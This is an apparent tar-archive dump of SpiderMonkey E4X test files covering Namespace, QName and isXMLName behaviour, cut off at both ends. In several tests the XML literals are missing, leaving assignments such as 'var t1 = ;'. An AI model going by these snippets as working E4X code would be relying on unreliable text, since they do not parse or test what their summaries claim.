eval("with(arguments)throw ;"); } f(); } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/0000775000175000017500000000000012106270663017542 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Namespace/13.2.5.js0000664000175000017500000000154012106270663020626 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.2.5 - Properties of Namespace Instances"); n = new Namespace("ns", "http://someuri"); TEST(1, true, n.hasOwnProperty("prefix")); TEST(2, true, n.hasOwnProperty("uri")); TEST(3, true, n.propertyIsEnumerable("prefix")); TEST(4, true, n.propertyIsEnumerable("uri")); var prefixCount = 0; var uriCount = 0; var p; for(p in n) { if(p == "prefix") prefixCount++; if(p == "uri") uriCount++; } TEST(5, 1, prefixCount); TEST(6, 1, uriCount); TEST(7, "ns", n.prefix); TEST(8, "http://someuri", n.uri); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/shell.js0000664000175000017500000000000012106270663021175 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Namespace/regress-292863.js0000664000175000017500000000142612106270663022330 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) fails /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Undeclaring namespace prefix should cause parse error"; var BUGNUMBER = 292863; var actual = 'no error'; var expect = 'error'; printBugNumber(BUGNUMBER); START(summary); try { var godList = Kibo ; printStatus(godList.toXMLString()); } catch(e) { actual = 'error'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/13.2.2.js0000664000175000017500000000243512106270663020627 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.2.2 - Namespace Constructor"); n = new Namespace(); TEST(1, "object", typeof(n)); TEST(2, "", n.prefix); TEST(3, "", n.uri); n = new Namespace(""); TEST(4, "object", typeof(n)); TEST(5, "", n.prefix); TEST(6, "", n.uri); n = new Namespace("http://foobar/"); TEST(7, "object", typeof(n)); TEST(8, "undefined", typeof(n.prefix)); TEST(9, "http://foobar/", n.uri); // Check if the undefined prefix is getting set properly m = new Namespace(n); TEST(10, typeof(n), typeof(m)); TEST(11, n.prefix, m.prefix); TEST(12, n.uri, m.uri); n = new Namespace("foobar", "http://foobar/"); TEST(13, "object", typeof(n)); TEST(14, "foobar", n.prefix); TEST(15, "http://foobar/", n.uri); // Check if all the properties are getting copied m = new Namespace(n); TEST(16, typeof(n), typeof(m)); TEST(17, n.prefix, m.prefix); TEST(18, n.uri, m.uri); try { n = new Namespace("ns", ""); SHOULD_THROW(19); } catch(ex) { TEST(19, "TypeError", ex.name); } END(); mozjs17.0.0/js/src/tests/e4x/Namespace/regress-350442.js0000664000175000017500000000200212106270663022303 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 350442; var summary = 'toXMLString with namespace definitions'; var actual, expect; printBugNumber(BUGNUMBER); START(summary); expect = false; actual = false; try { var t1 = ; var n2 = new Namespace("http://ns2"); t1.@n2::a1="a1 from ns2"; var t1XMLString = t1.toXMLString(); var attrMatch = /xmlns:([^=]+)="http:\/\/ns2"/.exec(t1XMLString); if (!attrMatch) throw "No @n2::a1 attribute present"; var nsRegexp = new RegExp(attrMatch[1] + ':a1="a1 from ns2"'); if (!nsRegexp.test(t1XMLString)) throw "No namespace declaration present for @ns2::a1"; } catch (e) { actual = e; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/browser.js0000664000175000017500000000000012106270663021551 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Namespace/13.2.1.js0000664000175000017500000000157112106270663020626 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.2.1 - Namespace Constructor as Function"); n = Namespace(); m = new Namespace(); TEST(1, typeof(m), typeof(n)); TEST(2, m.prefix, n.prefix); TEST(3, m.uri, n.uri); n = Namespace("http://foobar/"); m = new Namespace("http://foobar/"); TEST(4, typeof(m), typeof(n)); TEST(5, m.prefix, n.prefix); TEST(6, m.uri, n.uri); n = Namespace("foobar", "http://foobar/"); m = new Namespace("foobar", "http://foobar/"); TEST(7, typeof(m), typeof(n)); TEST(8, m.prefix, n.prefix); TEST(9, m.uri, n.uri); n = Namespace(m); TEST(10, m, n); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/regress-283972.js0000664000175000017500000000151312106270663022326 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'throw error when two attributes with the same local name and ' + 'the same namespace'; var BUGNUMBER = 283972; var actual = 'no error'; var expect = 'error'; printBugNumber(BUGNUMBER); START(summary); try { var xml = ; printStatus(xml.toXMLString()); } catch(e) { actual = 'error'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/regress-444608-02.js0000664000175000017500000000117512106270663022544 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.2 Namespaces - call constructors directly'; var BUGNUMBER = 444608; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var x = ; Namespace = function() { return 10; }; x.removeNamespace("x"); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Namespace/regress-444608.js0000664000175000017500000000117212106270663022322 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = '13.2 Namespaces - call constructors directly'; var BUGNUMBER = 444608; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var x = ; Namespace = function() { return 10; }; x.addNamespace("x"); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Global/0000775000175000017500000000000012106270663017046 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Global/shell.js0000664000175000017500000000000012106270663020501 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Global/browser.js0000664000175000017500000000000012106270663021055 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/Global/13.1.2.1.js0000664000175000017500000004274212106270663020276 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) fails /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.1.2.1 - isXMLName()"); var BUGNUMBER = 289630; printBugNumber(BUGNUMBER); TEST(1, true, typeof isXMLName == "function"); // Check converting to string var object = { toString: function() { return "text"; } }; TEST(2, true, isXMLName(object)); // This throws TypeError => isXMLName should give false var object2 = { toString: function() { return this; } }; TEST(3, false, isXMLName(object2)); // Check indirect throw of TypeError var object3 = { toString: function() { return String(object2); } }; TEST(3, false, isXMLName(object3)); var object4 = { toString: function() { throw 1; } }; try { isXMLName(object4); SHOULD_THROW(4); } catch (e) { TEST(4, 1, e); } // Check various cases of http://w3.org/TR/xml-names11/#NT-NCName TEST(5, false, isXMLName("")); var START = 0x1; var OTHER = 0x2; var chars = init(); var marker; // Letter // Letter::= BaseChar | Ideographic marker = START | OTHER; // BaseChar markRange(chars, 0x0041, 0x005A, marker); markRange(chars, 0x0061, 0x007A, marker); markRange(chars, 0x00C0, 0x00D6, marker); markRange(chars, 0x00D8, 0x00F6, marker); markRange(chars, 0x00F8, 0x00FF, marker); markRange(chars, 0x0100, 0x0131, marker); markRange(chars, 0x0134, 0x013E, marker); markRange(chars, 0x0141, 0x0148, marker); markRange(chars, 0x014A, 0x017E, marker); markRange(chars, 0x0180, 0x01C3, marker); markRange(chars, 0x01CD, 0x01F0, marker); markRange(chars, 0x01F4, 0x01F5, marker); markRange(chars, 0x01FA, 0x0217, marker); markRange(chars, 0x0250, 0x02A8, marker); markRange(chars, 0x02BB, 0x02C1, marker); markRange(chars, 0x0386, 0x0386, marker); markRange(chars, 0x0388, 0x038A, marker); markRange(chars, 0x038C, 0x038C, marker); markRange(chars, 0x038E, 0x03A1, marker); markRange(chars, 0x03A3, 0x03CE, marker); markRange(chars, 0x03D0, 0x03D6, marker); markRange(chars, 0x03DA, 0x03DA, marker); markRange(chars, 0x03DC, 0x03DC, marker); markRange(chars, 0x03DE, 0x03DE, marker); markRange(chars, 0x03E0, 0x03E0, marker); markRange(chars, 0x03E2, 0x03F3, marker); markRange(chars, 0x0401, 0x040C, marker); markRange(chars, 0x040E, 0x044F, marker); markRange(chars, 0x0451, 0x045C, marker); markRange(chars, 0x045E, 0x0481, marker); markRange(chars, 0x0490, 0x04C4, marker); markRange(chars, 0x04C7, 0x04C8, marker); markRange(chars, 0x04CB, 0x04CC, marker); markRange(chars, 0x04D0, 0x04EB, marker); markRange(chars, 0x04EE, 0x04F5, marker); markRange(chars, 0x04F8, 0x04F9, marker); markRange(chars, 0x0531, 0x0556, marker); markRange(chars, 0x0559, 0x0559, marker); markRange(chars, 0x0561, 0x0586, marker); markRange(chars, 0x05D0, 0x05EA, marker); markRange(chars, 0x05F0, 0x05F2, marker); markRange(chars, 0x0621, 0x063A, marker); markRange(chars, 0x0641, 0x064A, marker); markRange(chars, 0x0671, 0x06B7, marker); markRange(chars, 0x06BA, 0x06BE, marker); markRange(chars, 0x06C0, 0x06CE, marker); markRange(chars, 0x06D0, 0x06D3, marker); markRange(chars, 0x06D5, 0x06D5, marker); markRange(chars, 0x06E5, 0x06E6, marker); markRange(chars, 0x0905, 0x0939, marker); markRange(chars, 0x093D, 0x093D, marker); markRange(chars, 0x0958, 0x0961, marker); markRange(chars, 0x0985, 0x098C, marker); markRange(chars, 0x098F, 0x0990, marker); markRange(chars, 0x0993, 0x09A8, marker); markRange(chars, 0x09AA, 0x09B0, marker); markRange(chars, 0x09B2, 0x09B2, marker); markRange(chars, 0x09B6, 0x09B9, marker); markRange(chars, 0x09DC, 0x09DD, marker); markRange(chars, 0x09DF, 0x09E1, marker); markRange(chars, 0x09F0, 0x09F1, marker); markRange(chars, 0x0A05, 0x0A0A, marker); markRange(chars, 0x0A0F, 0x0A10, marker); markRange(chars, 0x0A13, 0x0A28, marker); markRange(chars, 0x0A2A, 0x0A30, marker); markRange(chars, 0x0A32, 0x0A33, marker); markRange(chars, 0x0A35, 0x0A36, marker); markRange(chars, 0x0A38, 0x0A39, marker); markRange(chars, 0x0A59, 0x0A5C, marker); markRange(chars, 0x0A5E, 0x0A5E, marker); markRange(chars, 0x0A72, 0x0A74, marker); markRange(chars, 0x0A85, 0x0A8B, marker); markRange(chars, 0x0A8D, 0x0A8D, marker); markRange(chars, 0x0A8F, 0x0A91, marker); markRange(chars, 0x0A93, 0x0AA8, marker); markRange(chars, 0x0AAA, 0x0AB0, marker); markRange(chars, 0x0AB2, 0x0AB3, marker); markRange(chars, 0x0AB5, 0x0AB9, marker); markRange(chars, 0x0ABD, 0x0ABD, marker); markRange(chars, 0x0AE0, 0x0AE0, marker); markRange(chars, 0x0B05, 0x0B0C, marker); markRange(chars, 0x0B0F, 0x0B10, marker); markRange(chars, 0x0B13, 0x0B28, marker); markRange(chars, 0x0B2A, 0x0B30, marker); markRange(chars, 0x0B32, 0x0B33, marker); markRange(chars, 0x0B36, 0x0B39, marker); markRange(chars, 0x0B3D, 0x0B3D, marker); markRange(chars, 0x0B5C, 0x0B5D, marker); markRange(chars, 0x0B5F, 0x0B61, marker); markRange(chars, 0x0B85, 0x0B8A, marker); markRange(chars, 0x0B8E, 0x0B90, marker); markRange(chars, 0x0B92, 0x0B95, marker); markRange(chars, 0x0B99, 0x0B9A, marker); markRange(chars, 0x0B9C, 0x0B9C, marker); markRange(chars, 0x0B9E, 0x0B9F, marker); markRange(chars, 0x0BA3, 0x0BA4, marker); markRange(chars, 0x0BA8, 0x0BAA, marker); markRange(chars, 0x0BAE, 0x0BB5, marker); markRange(chars, 0x0BB7, 0x0BB9, marker); markRange(chars, 0x0C05, 0x0C0C, marker); markRange(chars, 0x0C0E, 0x0C10, marker); markRange(chars, 0x0C12, 0x0C28, marker); markRange(chars, 0x0C2A, 0x0C33, marker); markRange(chars, 0x0C35, 0x0C39, marker); markRange(chars, 0x0C60, 0x0C61, marker); markRange(chars, 0x0C85, 0x0C8C, marker); markRange(chars, 0x0C8E, 0x0C90, marker); markRange(chars, 0x0C92, 0x0CA8, marker); markRange(chars, 0x0CAA, 0x0CB3, marker); markRange(chars, 0x0CB5, 0x0CB9, marker); markRange(chars, 0x0CDE, 0x0CDE, marker); markRange(chars, 0x0CE0, 0x0CE1, marker); markRange(chars, 0x0D05, 0x0D0C, marker); markRange(chars, 0x0D0E, 0x0D10, marker); markRange(chars, 0x0D12, 0x0D28, marker); markRange(chars, 0x0D2A, 0x0D39, marker); markRange(chars, 0x0D60, 0x0D61, marker); markRange(chars, 0x0E01, 0x0E2E, marker); markRange(chars, 0x0E30, 0x0E30, marker); markRange(chars, 0x0E32, 0x0E33, marker); markRange(chars, 0x0E40, 0x0E45, marker); markRange(chars, 0x0E81, 0x0E82, marker); markRange(chars, 0x0E84, 0x0E84, marker); markRange(chars, 0x0E87, 0x0E88, marker); markRange(chars, 0x0E8A, 0x0E8A, marker); markRange(chars, 0x0E8D, 0x0E8D, marker); markRange(chars, 0x0E94, 0x0E97, marker); markRange(chars, 0x0E99, 0x0E9F, marker); markRange(chars, 0x0EA1, 0x0EA3, marker); markRange(chars, 0x0EA5, 0x0EA5, marker); markRange(chars, 0x0EA7, 0x0EA7, marker); markRange(chars, 0x0EAA, 0x0EAB, marker); markRange(chars, 0x0EAD, 0x0EAE, marker); markRange(chars, 0x0EB0, 0x0EB0, marker); markRange(chars, 0x0EB2, 0x0EB3, marker); markRange(chars, 0x0EBD, 0x0EBD, marker); markRange(chars, 0x0EC0, 0x0EC4, marker); markRange(chars, 0x0F40, 0x0F47, marker); markRange(chars, 0x0F49, 0x0F69, marker); markRange(chars, 0x10A0, 0x10C5, marker); markRange(chars, 0x10D0, 0x10F6, marker); markRange(chars, 0x1100, 0x1100, marker); markRange(chars, 0x1102, 0x1103, marker); markRange(chars, 0x1105, 0x1107, marker); markRange(chars, 0x1109, 0x1109, marker); markRange(chars, 0x110B, 0x110C, marker); markRange(chars, 0x110E, 0x1112, marker); markRange(chars, 0x113C, 0x113C, marker); markRange(chars, 0x113E, 0x113E, marker); markRange(chars, 0x1140, 0x1140, marker); markRange(chars, 0x114C, 0x114C, marker); markRange(chars, 0x114E, 0x114E, marker); markRange(chars, 0x1150, 0x1150, marker); markRange(chars, 0x1154, 0x1155, marker); markRange(chars, 0x1159, 0x1159, marker); markRange(chars, 0x115F, 0x1161, marker); markRange(chars, 0x1163, 0x1163, marker); markRange(chars, 0x1165, 0x1165, marker); markRange(chars, 0x1167, 0x1167, marker); markRange(chars, 0x1169, 0x1169, marker); markRange(chars, 0x116D, 0x116E, marker); markRange(chars, 0x1172, 0x1173, marker); markRange(chars, 0x1175, 0x1175, marker); markRange(chars, 0x119E, 0x119E, marker); markRange(chars, 0x11A8, 0x11A8, marker); markRange(chars, 0x11AB, 0x11AB, marker); markRange(chars, 0x11AE, 0x11AF, marker); markRange(chars, 0x11B7, 0x11B8, marker); markRange(chars, 0x11BA, 0x11BA, marker); markRange(chars, 0x11BC, 0x11C2, marker); markRange(chars, 0x11EB, 0x11EB, marker); markRange(chars, 0x11F0, 0x11F0, marker); markRange(chars, 0x11F9, 0x11F9, marker); markRange(chars, 0x1E00, 0x1E9B, marker); markRange(chars, 0x1EA0, 0x1EF9, marker); markRange(chars, 0x1F00, 0x1F15, marker); markRange(chars, 0x1F18, 0x1F1D, marker); markRange(chars, 0x1F20, 0x1F45, marker); markRange(chars, 0x1F48, 0x1F4D, marker); markRange(chars, 0x1F50, 0x1F57, marker); markRange(chars, 0x1F59, 0x1F59, marker); markRange(chars, 0x1F5B, 0x1F5B, marker); markRange(chars, 0x1F5D, 0x1F5D, marker); markRange(chars, 0x1F5F, 0x1F7D, marker); markRange(chars, 0x1F80, 0x1FB4, marker); markRange(chars, 0x1FB6, 0x1FBC, marker); markRange(chars, 0x1FBE, 0x1FBE, marker); markRange(chars, 0x1FC2, 0x1FC4, marker); markRange(chars, 0x1FC6, 0x1FCC, marker); markRange(chars, 0x1FD0, 0x1FD3, marker); markRange(chars, 0x1FD6, 0x1FDB, marker); markRange(chars, 0x1FE0, 0x1FEC, marker); markRange(chars, 0x1FF2, 0x1FF4, marker); markRange(chars, 0x1FF6, 0x1FFC, marker); markRange(chars, 0x2126, 0x2126, marker); markRange(chars, 0x212A, 0x212B, marker); markRange(chars, 0x212E, 0x212E, marker); markRange(chars, 0x2180, 0x2182, marker); markRange(chars, 0x3041, 0x3094, marker); markRange(chars, 0x30A1, 0x30FA, marker); markRange(chars, 0x3105, 0x312C, marker); markRange(chars, 0xAC00, 0xD7A3, marker); // Ideographic markRange(chars, 0x4E00, 0x9FA5, marker); markRange(chars, 0x3007, 0x3007, marker); markRange(chars, 0x3021, 0x3029, marker); // Digit marker = OTHER; markRange(chars, 0x0030, 0x0039, marker); markRange(chars, 0x0660, 0x0669, marker); markRange(chars, 0x06F0, 0x06F9, marker); markRange(chars, 0x0966, 0x096F, marker); markRange(chars, 0x09E6, 0x09EF, marker); markRange(chars, 0x0A66, 0x0A6F, marker); markRange(chars, 0x0AE6, 0x0AEF, marker); markRange(chars, 0x0B66, 0x0B6F, marker); markRange(chars, 0x0BE7, 0x0BEF, marker); markRange(chars, 0x0C66, 0x0C6F, marker); markRange(chars, 0x0CE6, 0x0CEF, marker); markRange(chars, 0x0D66, 0x0D6F, marker); markRange(chars, 0x0E50, 0x0E59, marker); markRange(chars, 0x0ED0, 0x0ED9, marker); markRange(chars, 0x0F20, 0x0F29, marker); // "Other NameChars" markRange(chars, 0x2e, 0x2e, marker); markRange(chars, 0x2d, 0x2d, marker); marker = START | OTHER; markRange(chars, 0x5f, 0x5f, marker); // e4x excludes ':' // CombiningChar marker = OTHER; markRange(chars, 0x0300, 0x0345, marker); markRange(chars, 0x0360, 0x0361, marker); markRange(chars, 0x0483, 0x0486, marker); markRange(chars, 0x0591, 0x05A1, marker); markRange(chars, 0x05A3, 0x05B9, marker); markRange(chars, 0x05BB, 0x05BD, marker); markRange(chars, 0x05BF, 0x05BF, marker); markRange(chars, 0x05C1, 0x05C2, marker); markRange(chars, 0x05C4, 0x05C4, marker); markRange(chars, 0x064B, 0x0652, marker); markRange(chars, 0x0670, 0x0670, marker); markRange(chars, 0x06D6, 0x06DC, marker); markRange(chars, 0x06DD, 0x06DF, marker); markRange(chars, 0x06E0, 0x06E4, marker); markRange(chars, 0x06E7, 0x06E8, marker); markRange(chars, 0x06EA, 0x06ED, marker); markRange(chars, 0x0901, 0x0903, marker); markRange(chars, 0x093C, 0x093C, marker); markRange(chars, 0x093E, 0x094C, marker); markRange(chars, 0x094D, 0x094D, marker); markRange(chars, 0x0951, 0x0954, marker); markRange(chars, 0x0962, 0x0963, marker); markRange(chars, 0x0981, 0x0983, marker); markRange(chars, 0x09BC, 0x09BC, marker); markRange(chars, 0x09BE, 0x09BE, marker); markRange(chars, 0x09BF, 0x09BF, marker); markRange(chars, 0x09C0, 0x09C4, marker); markRange(chars, 0x09C7, 0x09C8, marker); markRange(chars, 0x09CB, 0x09CD, marker); markRange(chars, 0x09D7, 0x09D7, marker); markRange(chars, 0x09E2, 0x09E3, marker); markRange(chars, 0x0A02, 0x0A02, marker); markRange(chars, 0x0A3C, 0x0A3C, marker); markRange(chars, 0x0A3E, 0x0A3E, marker); markRange(chars, 0x0A3F, 0x0A3F, marker); markRange(chars, 0x0A40, 0x0A42, marker); markRange(chars, 0x0A47, 0x0A48, marker); markRange(chars, 0x0A4B, 0x0A4D, marker); markRange(chars, 0x0A70, 0x0A71, marker); markRange(chars, 0x0A81, 0x0A83, marker); markRange(chars, 0x0ABC, 0x0ABC, marker); markRange(chars, 0x0ABE, 0x0AC5, marker); markRange(chars, 0x0AC7, 0x0AC9, marker); markRange(chars, 0x0ACB, 0x0ACD, marker); markRange(chars, 0x0B01, 0x0B03, marker); markRange(chars, 0x0B3C, 0x0B3C, marker); markRange(chars, 0x0B3E, 0x0B43, marker); markRange(chars, 0x0B47, 0x0B48, marker); markRange(chars, 0x0B4B, 0x0B4D, marker); markRange(chars, 0x0B56, 0x0B57, marker); markRange(chars, 0x0B82, 0x0B83, marker); markRange(chars, 0x0BBE, 0x0BC2, marker); markRange(chars, 0x0BC6, 0x0BC8, marker); markRange(chars, 0x0BCA, 0x0BCD, marker); markRange(chars, 0x0BD7, 0x0BD7, marker); markRange(chars, 0x0C01, 0x0C03, marker); markRange(chars, 0x0C3E, 0x0C44, marker); markRange(chars, 0x0C46, 0x0C48, marker); markRange(chars, 0x0C4A, 0x0C4D, marker); markRange(chars, 0x0C55, 0x0C56, marker); markRange(chars, 0x0C82, 0x0C83, marker); markRange(chars, 0x0CBE, 0x0CC4, marker); markRange(chars, 0x0CC6, 0x0CC8, marker); markRange(chars, 0x0CCA, 0x0CCD, marker); markRange(chars, 0x0CD5, 0x0CD6, marker); markRange(chars, 0x0D02, 0x0D03, marker); markRange(chars, 0x0D3E, 0x0D43, marker); markRange(chars, 0x0D46, 0x0D48, marker); markRange(chars, 0x0D4A, 0x0D4D, marker); markRange(chars, 0x0D57, 0x0D57, marker); markRange(chars, 0x0E31, 0x0E31, marker); markRange(chars, 0x0E34, 0x0E3A, marker); markRange(chars, 0x0E47, 0x0E4E, marker); markRange(chars, 0x0EB1, 0x0EB1, marker); markRange(chars, 0x0EB4, 0x0EB9, marker); markRange(chars, 0x0EBB, 0x0EBC, marker); markRange(chars, 0x0EC8, 0x0ECD, marker); markRange(chars, 0x0F18, 0x0F19, marker); markRange(chars, 0x0F35, 0x0F35, marker); markRange(chars, 0x0F37, 0x0F37, marker); markRange(chars, 0x0F39, 0x0F39, marker); markRange(chars, 0x0F3E, 0x0F3E, marker); markRange(chars, 0x0F3F, 0x0F3F, marker); markRange(chars, 0x0F71, 0x0F84, marker); markRange(chars, 0x0F86, 0x0F8B, marker); markRange(chars, 0x0F90, 0x0F95, marker); markRange(chars, 0x0F97, 0x0F97, marker); markRange(chars, 0x0F99, 0x0FAD, marker); markRange(chars, 0x0FB1, 0x0FB7, marker); markRange(chars, 0x0FB9, 0x0FB9, marker); markRange(chars, 0x20D0, 0x20DC, marker); markRange(chars, 0x20E1, 0x20E1, marker); markRange(chars, 0x302A, 0x302F, marker); markRange(chars, 0x3099, 0x3099, marker); markRange(chars, 0x309A, 0x309A, marker); // Extender markRange(chars, 0x00B7, 0x00B7, marker); markRange(chars, 0x02D0, 0x02D0, marker); markRange(chars, 0x02D1, 0x02D1, marker); markRange(chars, 0x0387, 0x0387, marker); markRange(chars, 0x0640, 0x0640, marker); markRange(chars, 0x0E46, 0x0E46, marker); markRange(chars, 0x0EC6, 0x0EC6, marker); markRange(chars, 0x3005, 0x3005, marker); markRange(chars, 0x3031, 0x3035, marker); markRange(chars, 0x309D, 0x309E, marker); markRange(chars, 0x30FC, 0x30FE, marker); TEST(6, '', testIsXMLName(chars)); END(); // Utilities function markRange(buffer, start, end, marker) { for (var i = start; i <= end; i++) { buffer[i] |= marker; } } function init() { var length = 0xFFFF + 1; var chars = new Array(length); for (var i = 0; i < length; i++) { chars[i] = 0; } return chars; } function testIsXMLName(buffer) { var nl = "\n"; var result = ''; var length = buffer.length; var rangestart = null; var rangeend = null; var rangemessage = ''; for (var i = 0; i < length; i++) { var message = ''; var c = String.fromCharCode(i); var marker = buffer[i]; var namestart = isXMLName(c + 'x'); var nameother = isXMLName('x' + c); if (marker == 0 && namestart) { message += ': Invalid char accepted as start '; } if (marker == 0 && nameother) { message += ': Invalid Char accepted as other '; } if ((marker & START) && !namestart) { message += ': Start char not accepted'; } if ((marker & OTHER) && !nameother) { message += ': Other char not accepted'; } if (rangemessage && !message) { // no current error, previous error // output previous error range result += rangestart + '-' + rangeend + ' ' + rangemessage + nl; rangemessage = rangestart = rangeend = null; } else if (!rangemessage && message) { // current error, no previous error // start new error range rangemessage = message; rangestart = rangeend = formatChar(c); } else if (rangemessage && message) { if (rangemessage == message) { // current error same as previous // continue previous error range rangeend = formatChar(c); } else { // different error, output range result += rangestart + '-' + rangeend + ' ' + rangemessage + nl; rangemessage = message; rangestart = rangeend = formatChar(c); } } } if (rangemessage) { result += rangestart + '-' + rangeend + ' ' + rangemessage + nl; } return result; } function formatChar(c) { var s = '0x' + c.charCodeAt(0).toString(16).toUpperCase(); return s; } mozjs17.0.0/js/src/tests/e4x/browser.js0000664000175000017500000000212512106270663017667 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var SUMMARY = ''; var DESCRIPTION = ''; var EXPECTED = ''; var ACTUAL = ''; var MSG = ''; var SECTION = ''; window.onerror = function (msg, page, line) { optionsPush(); if (typeof SUMMARY == 'undefined') { SUMMARY = 'Unknown'; } if (typeof SECTION == 'undefined') { SECTION = 'Unknown'; } if (typeof DESCRIPTION == 'undefined') { DESCRIPTION = 'Unknown'; } if (typeof EXPECTED == 'undefined') { EXPECTED = 'Unknown'; } var testcase = new TestCase("unknown-test-name", SUMMARY + DESCRIPTION + ' Section ' + SECTION, EXPECTED, "error"); testcase.passed = false; testcase.reason = page + ':' + line + ': ' + msg; reportFailure(SECTION, msg); gDelayTestDriverEnd = false; jsTestDriverEnd(); optionsReset(); }; options('moar_xml'); mozjs17.0.0/js/src/tests/e4x/QName/0000775000175000017500000000000012106270663016647 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/QName/shell.js0000664000175000017500000000000012106270663020302 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/e4x/QName/13.3.5.js0000664000175000017500000000155712106270663017744 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.3.5 - Properties of QName Instances"); q = new QName("http://someuri", "foo"); TEST(1, true, q.hasOwnProperty("localName")); TEST(2, true, q.hasOwnProperty("uri")); TEST(3, true, q.propertyIsEnumerable("localName")); TEST(4, true, q.propertyIsEnumerable("uri")); var localNameCount = 0; var uriCount = 0; var p; for(p in q) { if(p == "localName") localNameCount++; if(p == "uri") uriCount++; } TEST(5, 1, localNameCount); TEST(6, 1, uriCount); TEST(7, "http://someuri", q.uri); TEST(8, "foo", q.localName); END(); mozjs17.0.0/js/src/tests/e4x/QName/regress-619529.js0000664000175000017500000000073312106270663021437 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ var b = Proxy.create({ enumerateOwn: function () { @f; }}); Object.freeze(this); try { @r; throw 1; // should not be reached } catch (e) { assertEq(e instanceof ReferenceError, true); } reportCompare(0, 0, "ok"); mozjs17.0.0/js/src/tests/e4x/QName/13.3.1.js0000664000175000017500000000203112106270663017724 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("13.3.1 - QName Constructor as a Function"); q = QName("foobar"); p = new QName("foobar"); TEST(1, typeof(p), typeof(q)); TEST(2, 